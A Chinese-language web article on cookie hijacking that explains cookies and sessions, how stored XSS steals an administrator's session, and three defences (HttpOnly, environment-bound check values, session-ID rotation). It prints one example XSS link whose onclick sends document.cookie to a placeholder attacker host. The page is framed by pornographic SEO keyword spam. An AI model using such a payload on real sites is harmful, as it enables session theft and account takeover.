最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

Web 安全之Cookie劫持詳細(xì)介紹

  發(fā)布時間:2016-10-08 16:43:38   作者:佚名   我要評論
這篇文章主要介紹了Web 安全之Cookie劫持詳細(xì)介紹的相關(guān)資料,需要的朋友可以參考下
       1. Cookie是什么?
  2. 竊取的原理是什么?
  3. 系統(tǒng)如何防Cookie劫持呢?

  看完這三個回答, 你就明白哪位傳奇大俠是如何成功的!!!
  Cookie:
  HTTP天然是無狀態(tài)的協(xié)議, 為了維持和跟蹤用戶的狀態(tài), 引入了Cookie和Session. Cookie包含了瀏覽器客戶端的用戶憑證, 相對較小. Session則維護(hù)在服務(wù)器, 用于維護(hù)相對較大的用戶信息.
  用通俗的語言, Cookie是鑰匙, Session是鎖芯.
  Cookie簡單理解就是鑰匙, 每次去服務(wù)端獲取資源, 需要帶著這把鑰匙, 只有自己的鎖芯(資源), 才能打開.
  如果你丟掉了鑰匙, 那沒辦法, 只能配一把鑰匙和鎖芯.
  但是如果鑰匙被別人拿了, 那別人就可以冒充你的身份, 去打開你的鎖芯, 從而獲取你的信息, 甚至挪用你的資金. 這是非常危險的.
  XSS攻擊:
  XSS(Cross Site Scripting)是跨站點腳本攻擊的縮寫. 其就是利用站點開放的文本編輯并發(fā)布的功能, 從而造成攻擊.
  其實說的簡單一點, 就是輸入javascript腳本, 竊取并投遞cookie信息到自己的站點.
  比如攻擊者以一個普通用戶登錄進(jìn)來,然后在輸入框中提交以下數(shù)據(jù):
<a href=# onclick=\”document.location=\’http://attacker-site.com/xss_collect?m=\’+escape\(document.cookie\)\;\”>快看, 這里有美女在洗澡</a>
攻擊者提交了條帶<a>標(biāo)簽的數(shù)據(jù),該條數(shù)據(jù)保存于服務(wù)器端,而管理員登入時,不小心點擊這個鏈接時,則會把自身的cookie信息, 投遞給hacker設(shè)定的網(wǎng)址.
http://attacker-site.com/xss_collect/m=xxxxxxyyyyyzzz
  有了該session-id,攻擊者在會話有效期內(nèi)即可獲得管理員的權(quán)限,并且由于攻擊數(shù)據(jù)已添加入數(shù)據(jù)庫,只要攻擊數(shù)據(jù)未被刪除,那么攻擊還有可能生效,是持久性的。
  Cookie劫持的防:
  基于XSS攻擊, 竊取Cookie信息, 并冒充他人身份.
  服務(wù)端如何防呢?
  第一種辦法是:
  給Cookie添加HttpOnly屬性, 這種屬性設(shè)置后, 只能在http請求中傳遞, 在腳本中,document.cookie無法獲取到該Cookie值. 對XSS的攻擊, 有一定的防御值. 但是對網(wǎng)絡(luò)攔截, 還是泄露了.
  第二種辦法:
  在cookie中添加校驗信息, 這個校驗信息和當(dāng)前用戶外置環(huán)境有些關(guān)系,比如ip,user agent等有關(guān).這樣當(dāng)cookie被人劫持了, 并冒用, 但是在服務(wù)器端校驗的時候, 發(fā)現(xiàn)校驗值發(fā)生了變化, 因此要求重新登錄, 這樣也是種很好的思路, 去規(guī)避cookie劫持.
  第三種辦法:
  cookie中session id的定時更換, 讓session id按一定頻率變換, 同時對用戶而言, 該操作是透明的, 這樣保證了服務(wù)體驗的一致性.

相關(guān)文章

最新評論

黄大仙区| 江西省| 大足县| 沽源县| 永川市| 靖边县| 湄潭县| 海阳市| 新源县| 日喀则市| 道孚县| 湾仔区| 峨眉山市| 米林县| 嘉义县| 长宁区| 蓝田县| 南丹县| 阿拉尔市| 红桥区| 元谋县| 山西省| 深泽县| 九江县| 大同市| 若尔盖县| 玉环县| 班玛县| 故城县| 浦北县| 雷山县| 西宁市| 凭祥市| 永德县| 舟山市| 祁阳县| 卢湾区| 金溪县| 岚皋县| 阜平县| 铅山县|